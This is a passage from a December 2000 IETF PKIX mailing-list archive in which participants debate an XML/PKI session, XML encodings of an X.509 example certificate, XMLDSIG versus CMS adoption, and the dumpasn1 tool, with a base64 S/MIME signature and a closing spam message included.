+0100, Anders Rundgren wrote: > >Tim, > >What you are saying is that there _will_ be some kind of a > PKIXML session > >(short but something at least) > >which I have asked Steve K to arrange in and off this list > with no success. > > > >Unfortunately, I and few others cannot waste their precious > time on things > >that are decided > >in the last minute with no previous information. As we have > discussed this > >subject for a month > >or so, I am pretty disappointed on how PKIX handled this. > OK, maybe it is > >a "win" in somebody's > >view that the loudest PKI-XML proponent (who still insists > that this is a > >_market_ thing as well) will > >not be there... > > > >Anders > > > > > > > > > I am projecting a half hour for discussions on XML and > PKI. So far, Phil > > > has requested time to describe XKMS. If you would like > to present under > > > this general topic, please send me email. I will try to > get everyone some > > > time to present their views. > > > > > > Thanks, > > > > > > Tim Polk > ------=_NextPart_000_0014_01C0613E.D9D670F0 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Disposition: attachment; filename="smime.p7s" Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIINaDCCAj0w ggGmAhEAulrJTAU7ktantt9O0FOSDTANBgkqhkiG9w0BAQIFADBfMQswCQYDVQQGEwJVUzEXMBUG A1UEChMOVmVyaVNpZ24sIEluYy4xNzA1BgNVBAsTLkNsYXNzIDIgUHVibGljIFByaW1hcnkgQ2Vy dGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNOTYwMTI5MDAwMDAwWhcNMDQwMTA3MjM1OTU5WjBfMQsw CQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xNzA1BgNVBAsTLkNsYXNzIDIgUHVi bGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwgZ8wDQYJKoZIhvcNAQEBBQADgY0A MIGJAoGBALZai6MNaiODgGvPOYf0IRMzBkwlou1VEpfFp4C5+oPBIKD6LxUNfKFga355LPoGDzqu 9htvsdL/LyhSX4N9S8R6t/hmH4BU/LfCjllKFFdG0ZqTvkGRA7sVgJNc6+fMCGw/PrNK/P9LbCPV UIImRBmOI8Nx6hkkRwSedb/IpgAfAgMBAAEwDQYJKoZIhvcNAQECBQADgYEAtgAfk1ekB6dAzmVA P1Ve7e/6VEmlMNYhfGGH7oOTC7+0M/KYrJ8Gv06ozhSBTMsETljDz1/ufNeab8tBird/gbj/hGHG J0NlHQzssQAK3Ruku8d4ICiyot02lS7hVE+/YLl3aBGZI+jqUuiqAE5nTruQtUWbRuuOFu/EM1sz PdUwggNDMIICrKADAgECAhAffl/nA9Hgv5kg3GuJDUsEMA0GCSqGSIb3DQEBBAUAMF8xCzAJBgNV BAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE3MDUGA1UECxMuQ2xhc3MgMiBQdWJsaWMg UHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw05OTAyMjUwMDAwMDBaFw0wNDAxMDUy MzU5NTlaMIGtMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1 c3QgTmV0d29yazFJMEcGA1UECxNAVXNlIGlzIHN1YmplY3QgdG8gdGVybXMgYXQgaHR0cHM6Ly93 d3cudmVyaXNpZ24uY29tL3JwYS1rciAoYyk5OTEmMCQGA1UEAxMdVmVyaVNpZ24gQ2xhc3MgMiBQ ZXJzb25uZWwgQ0EwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAKcEbA+icrdKBi741yksNJ2C vEiRSses+en8uVl4sVXAU1ixz28WO8FJ1cv0bszhzMu1xy5OiKo06bbQW3w+FVc04Ri8/931r2dZ IArlPeqIikDSmokTKam21dunfuHnNyST/ZR0TXrkMm1M6FwWl6/dktlmihRm5OpaA6g9X/sLAgMB AAGjgbAwga0wMQYDVR0fBCowKDAmoCSgIoYgaHR0cDovL2NybC52ZXJpc2lnbi5jb20vcGNhMi5j cmwwEQYJYIZIAYb4QgEBBAQDAgEGMEcGA1UdIARAMD4wPAYLYIZIAYb4RQEHAQEwLTArBggrBgEF BQcCARYfaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL3JwYS1rcjAPBgNVHRMECDAGAQH/AgEBMAsG A1UdDwQEAwIBBjANBgkqhkiG9w0BAQQFAAOBgQB59xXN6GhRWWv8qaa94B77vPQ/kN/n+u3kVPdh PVSLBrqXMloeqyzur3Orx13TP4/0zstOSGCiqGC2ON6gpvePKegRrMw5dlA83TlsC/Fa/QhUdt0W bPcxcLi/CPfJJgaO37svGbG2uLToPEjoJ7GXKSBXA5ybZ/p9QMQ4fxiqmjCCA8QwggMtoAMCAQIC EQCEzvIOADm1dVXaGYePUu2JMA0GCSqGSIb3DQEBBAUAMIGtMRcwFQYDVQQKEw5WZXJpU2lnbiwg SW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazFJMEcGA1UECxNAVXNlIGlzIHN1 YmplY3QgdG8gdGVybXMgYXQgaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL3JwYS1rciAoYyk5OTEm MCQGA1UEAxMdVmVyaVNpZ24gQ2xhc3MgMiBQZXJzb25uZWwgQ0EwHhcNOTkwMjI1MDAwMDAwWhcN MDQwMTA0MjM1OTU5WjCBrDEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlT aWduIFRydXN0IE5ldHdvcmsxSTBHBgNVBAsTQFVzZSBpcyBzdWJqZWN0IHRvIHRlcm1zIGF0IGh0 dHBzOi8vd3d3LnZlcmlzaWduLmNvbS9ycGEta3IgKGMpOTkxJTAjBgNVBAMTHFZlcmlTaWduIENs YXNzIDIgRW1wbG95ZWUgQ0EwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAMCK0YdhouowA1Vr CDbwl/oaVDUkH+h9ncjDc9PYRvWRLdk47ZTXsCZzKt6XUE3/Ihy9cACYDFgqsaRyj6W59y18YOO1 3+l9TiEhYdX8O1TJpAmcuyL5orpwYU+GRqL9BWTsCj+mWHZXuxZzRHzwpQ2XwGym8WMIJbEEF5Wg jf5/AgMBAAGjgeIwgd8wKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVByaXZhdGVMYWJlbDEtMTE4 MDgGA1UdHwQxMC8wLaAroCmGJ2h0dHA6Ly9jcmwudmVyaXNpZ24uY29tL1ZTQ2xhc3MySW50LmNy bDARBglghkgBhvhCAQEEBAMCAQYwRwYDVR0gBEAwPjA8BgtghkgBhvhFAQcBATAtMCsGCCsGAQUF BwIBFh9odHRwczovL3d3dy52ZXJpc2lnbi5jb20vcnBhLWtyMA8GA1UdEwQIMAYBAf8CAQAwCwYD VR0PBAQDAgEGMA0GCSqGSIb3DQEBBAUAA4GBABlGztRrcI5YXIhCNa0WfaUJLKhTkPH2PYbX8M5y FD0ivPLDM+3U/AWa4GMgdaMb71UZDwZzIQJhrqaeUSt43FvIhIvV17bP1fg+l5ixRIujmI6gS/aY MZOz8AzdUXbKl+RWRMb7lKFIfSJDzKDGXHlV9WeBG2iYNCREsZjBOiheMIIEFDCCA32gAwIBAgIQ AxTuqrYcesW8jpUyudZ0/DANBgkqhkiG9w0BAQQFADCBrDEXMBUGA1UEChMOVmVyaVNpZ24sIElu Yy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxSTBHBgNVBAsTQFVzZSBpcyBzdWJq ZWN0IHRvIHRlcm1zIGF0IGh0dHBzOi8vd3d3LnZlcmlzaWduLmNvbS9ycGEta3IgKGMpOTkxJTAj BgNVBAMTHFZlcmlTaWduIENsYXNzIDIgRW1wbG95ZWUgQ0EwHhcNOTkxMjIwMDAwMDAwWhcNMDAx MjE5MjM1OTU5WjBsMREwDwYDVQQKEwhWRVJJU0lHTjELMAkGA1UECxMCSFExEzARBgNVBAMTClJl Y2lwaWVudHMxNTAzBgNVBAMTLHBiYWtlciAoUGhpbGlwIEhhbGxhbS1CYWtlciwgVmVyaVNpZ24s IEluYy4pMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC3f0kRIy2AU5cHhfnUwuHecFNq6dnf /wsvxS//4Nt8rFgr2KdvQETKaQ6wGl6mVijB6udZW9dUKVoE1lnu2MMcIhtAL3+Q2dsrxlrTInfq PKAdxu/Fvb4n3Y0RItW9zh1MzFWZ8Q9z6eF2HuBwG6ANfRzfJgironyftbbitRyaxQIDAQABo4IB dDCCAXAwCQYDVR0TBAIwADBVBgNVHR8ETjBMMEqgSKBGhkRodHRwOi8vb25zaXRlY3JsLnZlcmlz aWduLmNvbS9WZXJpU2lnbkluY0V4Y2hhbmdlRW1wbG95ZWVzL0xhdGVzdENSTDALBgNVHQ8EBAMC BaAwHgYDVR0RBBcwFYETcGJha2VyQHZlcmlzaWduLmNvbTCBrAYDVR0gBIGkMIGhMIGeBgtghkgB hvhFAQcBATCBjjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL0NQUzBiBggr BgEFBQcCAjBWMBUWDlZlcmlTaWduLCBJbmMuMAMCAQEaPVZlcmlTaWduJ3MgQ1BTIGluY29ycC4g YnkgcmVmZXJlbmNlIGxpYWIuIGx0ZC4gKGMpOTcgVmVyaVNpZ24wEQYJYIZIAYb4QgEBBAQDAgeA MB0GA1UdJQQWMBQGCCsGAQUFBwMEBggrBgEFBQcDAjANBgkqhkiG9w0BAQQFAAOBgQAaUApBXCjc mPE5dFPHlQVl4n9WoOU7AE487xxC7vcR1MDhF8p/0GMu6zOyZe9CFVaOndaYCRgv69qKTVoANmsM F/eFsQn/HaoXEz+jHPNgWcPyBu3dujO9s2PLQbuBXE3rIaDiVyTftVgoNvO0fcknSlNOWxqHvbaH 9RYvhMghkjGCAvgwggL0AgEBMIHBMIGsMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UE CxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazFJMEcGA1UECxNAVXNlIGlzIHN1YmplY3QgdG8gdGVy bXMgYXQgaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL3JwYS1rciAoYyk5OTElMCMGA1UEAxMcVmVy aVNpZ24gQ2xhc3MgMiBFbXBsb3llZSBDQQIQAxTuqrYcesW8jpUyudZ0/DAJBgUrDgMCGgUAoIIB jDAYBgkqhkiG9w0BCQMxCwYJKoZIhvcNAQcBMBwGCSqGSIb3DQEJBTEPFw0wMDEyMDgyMjQ2NTNa MCMGCSqGSIb3DQEJBDEWBBT/G2AO6SH5ZNJB5m1akza3GqVypzBYBgkqhkiG9w0BCQ8xSzBJMAoG CCqGSIb3DQMHMA4GCCqGSIb3DQMCAgIAgDAHBgUrDgMCBzANBggqhkiG9w0DAgIBKDAHBgUrDgMC GjAKBggqhkiG9w0CBTCB0gYJKwYBBAGCNxAEMYHEMIHBMIGsMRcwFQYDVQQKEw5WZXJpU2lnbiwg SW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazFJMEcGA1UECxNAVXNlIGlzIHN1 YmplY3QgdG8gdGVybXMgYXQgaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL3JwYS1rciAoYyk5OTEl MCMGA1UEAxMcVmVyaVNpZ24gQ2xhc3MgMiBFbXBsb3llZSBDQQIQAxTuqrYcesW8jpUyudZ0/DAN BgkqhkiG9w0BAQEFAASBgGPRT1Pcr3CHnAm8Cg914dZjuLEVevgsl1bZu9mh0I+eyQIqCpZmjcvA ZeyF63nCuuSEijdwGwEAQteleJPassJsT04ZDV+99EJwLWWp+PuaN7lzUheeFwWjJU2VZfuDL+P5 JdsJyXPq7YVf9VuHTJgCr9XxY0WdUSLUkesnXKXsAAAAAAAA ------=_NextPart_000_0014_01C0613E.D9D670F0-- From owner-ietf-pkix@imc.org Fri Dec 8 17:55:37 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA21998 for ; Fri, 8 Dec 2000 17:55:36 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id OAA14357; Fri, 8 Dec 2000 14:52:22 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Fri, 8 Dec 2000 14:52:19 -0800 Received: from mail3.microsoft.com (mail3.microsoft.com [131.107.3.123]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id OAA14326 for ; Fri, 8 Dec 2000 14:52:19 -0800 (PST) Received: from 157.54.9.100 by mail3.microsoft.com (InterScan E-Mail VirusWall NT); Fri, 08 Dec 2000 14:53:09 -0800 (Pacific Standard Time) Received: by inet-imc-03.redmond.corp.microsoft.com with Internet Mail Service (5.5.2651.58) id ; Fri, 8 Dec 2000 14:53:56 -0800 Message-ID: From: Andrew Layman To: "'asn1xml@oss.com'" , "'PKIX'" Subject: RE: asn1xml Re: PKIXML session. Was: PKIX WG tentative agenda Date: Fri, 8 Dec 2000 14:53:52 -0800 X-Mailer: Internet Mail Service (5.5.2651.58) Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe I just happened to skim this, and notice that the dates don't fit the pattern called for by XML Schemas part 2. -----Original Message----- From: Phillip H. Griffin [mailto:phil.griffin@asn-1.com] Sent: Friday, December 08, 2000 12:10 PM To: 'PKIX' Cc: asn.1/xml Subject: asn1xml Re: PKIXML session. Was: PKIX WG tentative agenda Steven Legg wrote: > > > -----Original Message----- > > From: Aram Perez [mailto:aram@pacbell.net] > > Sent: Friday, 8 December 2000 4:25 > > To: PKIX > > Subject: FW: PKIXML session. Was: PKIX WG tentative agenda > > > > > > Just for fun, I've attached the PKIX example #1 certificate > > converted from > > ASN.1 to XML. > > > > Enjoy, > > Aram Perez > > That's one way to encode a certificate in XML, but not a method I find > particularly appealing. The following XML encoding of the same certificate > is my best guess (possibly way off) at what represents current thinking on > the ASN.1 group's XML encoding rules mailing list. I would name the elements > in a SET OF or SEQUENCE OF differently, but that is an argument for a > different forum. Steven, I can't speak for everyone involved in the ASN.1/ XML work, but this is a very good guess as to where we seem to be headed. But there are many particulars still to be discussed and resolved and many different opinions to consider. For example, the representation of OID values has spawned a great deal of discussion. While I have favored 1.2.3.4 that mimics the notation used in LDAP, other prefer the ASN.1 value notation format that you've used below. But there is also some sentiment for relying on the urn:oid work currently being progressed in the IETF, as well as proponents of the iso(1) identified-organization(3) style format. And that's just one small issue. The work plan has just been announced and is scheduled for 22 January through 2 February 2001, in Geneva, Switzerland. For anyone that is interested, they might wish to monitor the discussion list at asn1xml@oss.com, as the details of this work are probably a bit off topic for pkix. I would comment though that the benefit of this new notation is obscured somewhat by the examples being used. Certificates are not very interesting to look at for most humans in any format and seem to be at their best in a small, efficient binary format that is mechanically processed. Only a few of their parts have much use as display items. These examples do serve to illustrate how verbose tagged text formats can be. But what will be more beneficial to consider for ASN.1 users I believe, will be the ability to generate default ASN.1 specified XML mark up for the likes of protocol messages, say perhaps the request and response messages specified in tools such as OCSP. Phil > > > > > v3 > > > 17 > > > > { 1 2 840 10040 4 3 } > > > > > > > { 2 5 4 6 } > US > > > > > { 2 5 4 10 } > gov > > > > > { 2 5 4 11 } > nist > > > > > > > 970630000000Z > > > 971231000000Z > > > > > > > { 2 5 4 6 } > US > > > > > { 2 5 4 10 } > gov > > > > > { 2 5 4 11 } > nist > > > > > > > { 1 2 840 10040 4 1 } > >

> d43802c5357bd50ba17e5d72596355d3 > 4556eae2251a6bc5a4abaa0bd462b4d2 > 21b195a2c601c9c3fa016f7986833d03 > 61e1f192acbc034e89a3c9534af7e2a6 > 48cf421e21b15c2b3a7fbabe6b5af70a > 26d88e1bebecbf1e5a3f45c0bd3123be > 6971a7c290fea5d680b524dc449ceb4d > f9daf0c8e8a24c99075c8e352b7d578d >

> > a7839bf3bd2c2007fc4ce7e89ff33983510ddcdd > > > 0e3b46318a0a58864084e3a1220d88ca > 908857649f0121e01505942482e21090 > d9e14e105ce7546bd40c2b1b590aa0b5 > a17db507e3657cea90d88e3042e485bb > acfa4e764b780edf6ce5a6e1bd59777d > a69759c529a7b33f953e9df1592df742 > 87623ff1b86fc73d4bb88d74c4ca4490 > cf67dbde1460974ad1f76d9e0994c40d > > > > > 028180aa98ea1394a2dbf15b7f982f78 > e7d8e3b97186f6802f4039c3da3b4b13 > 4626ee0d56c5a33a39b77d33c26b5c77 > 92f255659039cd1a3c86e132eb25bc91 > c4ff804f3661bdcce26104e07e6013ca > c09cdde0ea41de33c1f144a9bc71decf > 59d46eda44993c2164e478549dd07bba > 4ef5184d5e3930bfe0d1f6f483254f14 > aa71e1 > > > > > > { 2 5 29 19 } > > > TRUE > > > 30030101ff > > > > > { 2 5 29 14 } > > > 0414e726c554cd5ba36f356895aad5ff1c21e42275d6 > > > > > > > { 1 2 840 10040 4 3 } > > > > 302c0214a066c176339913518d93642f > ca1373de791a7d3302145d90f6ce924a > bf2911248028a65a8e73b6760268 > > > > Regards, > Steven From owner-ietf-pkix@imc.org Fri Dec 8 19:36:30 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA22119 for ; Fri, 8 Dec 2000 19:36:29 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id QAA16621; Fri, 8 Dec 2000 16:33:11 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Fri, 8 Dec 2000 16:33:03 -0800 Received: from maynard.mail.mindspring.net (maynard.mail.mindspring.net [207.69.200.243]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id QAA16591 for ; Fri, 8 Dec 2000 16:33:02 -0800 (PST) Received: from asn-1.com (user-2ivf73l.dialup.mindspring.com [165.247.156.117]) by maynard.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id TAA10037; Fri, 8 Dec 2000 19:35:11 -0500 (EST) Message-ID: <3A317EF7.95F8B07A@asn-1.com> Date: Fri, 08 Dec 2000 19:38:15 -0500 From: "Phillip H. Griffin" Reply-To: phil.griffin@asn-1.com Organization: Griffin Consulting X-Mailer: Mozilla 4.61 [en] (Win95; I) X-Accept-Language: en MIME-Version: 1.0 To: "'asn1xml@oss.com'" CC: "'PKIX'" Subject: Re: asn1xml Re: PKIXML session. Was: PKIX WG tentative agenda References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 7bit Andrew Layman wrote: > > I just happened to skim this, and notice that the dates don't fit the > pattern called for by XML Schemas part 2. Andrew, This is part of the reason that an alternative to our initial schema mapping approach has been proposed and why schema mapping has lost some of its appeal. But note that the dates do not have to fit any one particular XML schema. For default mark up generation, the values need only conform to the date requirements for ASN.1 values given in X.680. What is critical to understand here is that ASN.1 provides a stable schema for values and structure of data, and that XML mark up can be used to convey ASN.1 specified values. I anticipate that after the work is completed on default XML tagging, that a facility will be provided that allows the default ASN.1 generated XML mark up to be completely controlled by the user. It seems that the ECN work has demonstrated that this type of capability can be provided through a notation carried in separate files associated with an ASN.1 specification. This should provide enough flexibility for tools to generate whatever format the user desires, including partially tagged data, HTML, HTML, XML, XML with DTD, XML with XML-schema, XML with RELAX, XML with DT4DTD, etc. With any luck, users should also be able to generate plain text encodings and ASN.1 value notation. Phil > -----Original Message----- > From: Phillip H. Griffin [mailto:phil.griffin@asn-1.com] > Sent: Friday, December 08, 2000 12:10 PM > To: 'PKIX' > Cc: asn.1/xml > Subject: asn1xml Re: PKIXML session. Was: PKIX WG tentative agenda > > Steven Legg wrote: > > > > > -----Original Message----- > > > From: Aram Perez [mailto:aram@pacbell.net] > > > Sent: Friday, 8 December 2000 4:25 > > > To: PKIX > > > Subject: FW: PKIXML session. Was: PKIX WG tentative agenda > > > > > > > > > Just for fun, I've attached the PKIX example #1 certificate > > > converted from > > > ASN.1 to XML. > > > > > > Enjoy, > > > Aram Perez > > > > That's one way to encode a certificate in XML, but not a method I find > > particularly appealing. The following XML encoding of the same certificate > > is my best guess (possibly way off) at what represents current thinking on > > the ASN.1 group's XML encoding rules mailing list. I would name the > elements > > in a SET OF or SEQUENCE OF differently, but that is an argument for a > > different forum. > > Steven, > > I can't speak for everyone involved in the ASN.1/ > XML work, but this is a very good guess as to where > we seem to be headed. But there are many particulars > still to be discussed and resolved and many different > opinions to consider. > > For example, the representation of OID values has > spawned a great deal of discussion. While I have > favored 1.2.3.4 that mimics the notation > used in LDAP, other prefer the ASN.1 value notation > format that you've used below. But there is also some > sentiment for relying on the urn:oid work currently > being progressed in the IETF, as well as proponents > of the iso(1) identified-organization(3) > style format. > > And that's just one small issue. The work plan has > just been announced and is scheduled for 22 January > through 2 February 2001, in Geneva, Switzerland. For > anyone that is interested, they might wish to monitor > the discussion list at asn1xml@oss.com, as the details > of this work are probably a bit off topic for pkix. > > I would comment though that the benefit of this new > notation is obscured somewhat by the examples being > used. Certificates are not very interesting to look > at for most humans in any format and seem to be at > their best in a small, efficient binary format that > is mechanically processed. Only a few of their parts > have much use as display items. > > These examples do serve to illustrate how verbose tagged > text formats can be. But what will be more beneficial to > consider for ASN.1 users I believe, will be the ability > to generate default ASN.1 specified XML mark up for the > likes of protocol messages, say perhaps the request and > response messages specified in tools such as OCSP. > > Phil > > > > > > > > > > > v3 > > > > > > 17 > > > > > > > > { 1 2 840 10040 4 3 } > > > > > > > > > > > > > > { 2 5 4 6 } > > US > > > > > > > > > > { 2 5 4 10 } > > gov > > > > > > > > > > { 2 5 4 11 } > > nist > > > > > > > > > > > > > > 970630000000Z > > > > > > 971231000000Z > > > > > > > > > > > > > > { 2 5 4 6 } > > US > > > > > > > > > > { 2 5 4 10 } > > gov > > > > > > > > > > { 2 5 4 11 } > > nist > > > > > > > > > > > > > > { 1 2 840 10040 4 1 } > > > >

> > d43802c5357bd50ba17e5d72596355d3 > > 4556eae2251a6bc5a4abaa0bd462b4d2 > > 21b195a2c601c9c3fa016f7986833d03 > > 61e1f192acbc034e89a3c9534af7e2a6 > > 48cf421e21b15c2b3a7fbabe6b5af70a > > 26d88e1bebecbf1e5a3f45c0bd3123be > > 6971a7c290fea5d680b524dc449ceb4d > > f9daf0c8e8a24c99075c8e352b7d578d > >

> > > > a7839bf3bd2c2007fc4ce7e89ff33983510ddcdd > > > > > > 0e3b46318a0a58864084e3a1220d88ca > > 908857649f0121e01505942482e21090 > > d9e14e105ce7546bd40c2b1b590aa0b5 > > a17db507e3657cea90d88e3042e485bb > > acfa4e764b780edf6ce5a6e1bd59777d > > a69759c529a7b33f953e9df1592df742 > > 87623ff1b86fc73d4bb88d74c4ca4490 > > cf67dbde1460974ad1f76d9e0994c40d > > > > > > > > > > 028180aa98ea1394a2dbf15b7f982f78 > > e7d8e3b97186f6802f4039c3da3b4b13 > > 4626ee0d56c5a33a39b77d33c26b5c77 > > 92f255659039cd1a3c86e132eb25bc91 > > c4ff804f3661bdcce26104e07e6013ca > > c09cdde0ea41de33c1f144a9bc71decf > > 59d46eda44993c2164e478549dd07bba > > 4ef5184d5e3930bfe0d1f6f483254f14 > > aa71e1 > > > > > > > > > > > > { 2 5 29 19 } > > > > > > TRUE > > > > > > 30030101ff > > > > > > > > > > { 2 5 29 14 } > > > > > > 0414e726c554cd5ba36f356895aad5ff1c21e42275d6 > > > > > > > > > > > > > > { 1 2 840 10040 4 3 } > > > > > > > > 302c0214a066c176339913518d93642f > > ca1373de791a7d3302145d90f6ce924a > > bf2911248028a65a8e73b6760268 > > > > > > > > Regards, > > Steven From owner-ietf-pkix@imc.org Sat Dec 9 02:21:42 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA17359 for ; Sat, 9 Dec 2000 02:21:42 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id XAA25024; Fri, 8 Dec 2000 23:18:26 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Fri, 8 Dec 2000 23:17:06 -0800 Received: from mailf.telia.com (root@mailf.telia.com [194.22.194.25]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id XAA24942 for ; Fri, 8 Dec 2000 23:17:05 -0800 (PST) Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241]) by mailf.telia.com (8.9.3/8.9.3) with ESMTP id IAA12587; Sat, 9 Dec 2000 08:19:13 +0100 (CET) Received: from mega (t3o69p19.telia.com [62.20.145.19]) by d1o69.telia.com (8.10.2/8.10.1) with SMTP id eB97JCo06030; Sat, 9 Dec 2000 08:19:12 +0100 (CET) Message-ID: <002701c061b0$208b43b0$0201a8c0@vincent.se> From: "Anders Rundgren" To: "PKIX-List" , "Tom Gindin" Cc: , "Tim Polk" , "Polar Humenn" References: Subject: Re: PKIXML session. Was: PKIX WG tentative agenda Date: Sat, 9 Dec 2000 08:17:42 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id XAA24944 Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 8bit >The two contending standards start fresh, with a lead of roughly one year for the > binary versions. I don't think that S2ML or XMLDSIG are so mature that > they wipe out the lead CMS has - and please remember, this is not prejudice > against XMLDSIG. Tom, We are both speculating but we don't come to the same conclusion. The AC+CMS thing is ready on paper, while XMLDSIG is not. Now, I am more a believer in marketing than in technicalities (well, things must work of course), so therefore I suspect that the lead will be reversed before the ink has dried on the AC RFC. At least if we count the number of projects involved, money raised and general company support. Not to mention media headlines :-) Anders From owner-ietf-pkix@imc.org Sat Dec 9 11:35:41 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA18642 for ; Sat, 9 Dec 2000 11:35:40 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id IAA16864; Sat, 9 Dec 2000 08:32:25 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Sat, 9 Dec 2000 08:32:12 -0800 Received: from mailb.telia.com (root@mailb.telia.com [194.22.194.6]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA16834 for ; Sat, 9 Dec 2000 08:32:11 -0800 (PST) Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241]) by mailb.telia.com (8.9.3/8.9.3) with ESMTP id RAA20361; Sat, 9 Dec 2000 17:34:30 +0100 (CET) Received: from mega (t5o69p104.telia.com [213.64.110.104]) by d1o69.telia.com (8.10.2/8.10.1) with SMTP id eB9GYQo10733; Sat, 9 Dec 2000 17:34:30 +0100 (CET) Message-ID: <003601c061fd$b275ab10$0201a8c0@vincent.se> From: "Anders Rundgren" To: , References: <97623046120024@kahu.cs.auckland.ac.nz> Subject: Re: Semi-annual reminder: dumpasn1 utility available Date: Sat, 9 Dec 2000 17:32:56 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id IAA16835 Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 8bit Peter, > This is a semi-annual reminder to people about dumpasn1, which picks apart > ASN.1 data and displays it in human-readable form. I have to comments to this: 1. It seems like a very nice little utility which I had no problem to get running! 2. Referring to the XML vs ASN.1 debate I do not think human-readable is entirely correct as ASN.1 does not support that. At least when I dissassembled a PKCS #7 package I could not see tags like Certificate, Subject, Issuer etc. AFAIK (this is not much when it comes to ASN.1) you have to _know_ in advance what kind of data structures you are dealing with in order to display such information. Anyway, a very good utility! Anders From owner-ietf-pkix@imc.org Sat Dec 9 12:17:42 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA24156 for ; Sat, 9 Dec 2000 12:17:41 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id JAA17832; Sat, 9 Dec 2000 09:14:35 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Sat, 9 Dec 2000 09:14:31 -0800 Received: from nt1.rocori.k12.mn.us (nt1.rocori.k12.mn.us [207.229.251.2]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA17717; Sat, 9 Dec 2000 09:12:34 -0800 (PST) Message-Id: <200012091712.JAA17717@ns.secondary.com> From: Mail Sender To: ietf-nntp-request@academ.com CC: ietf-openpgp@imc.org, ietf-openpgp-request@imc.org, ietf-otp@research.telcordia.com, ietf-otp-request@research.telcordia.com, ietf-pkix@imc.org Subject: Russian Goods and Service from Moscow Reply-To: mailsender@mailsender.ru Date: 09.12.2000 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe www.rusgoods.com www.rusgoods.ru 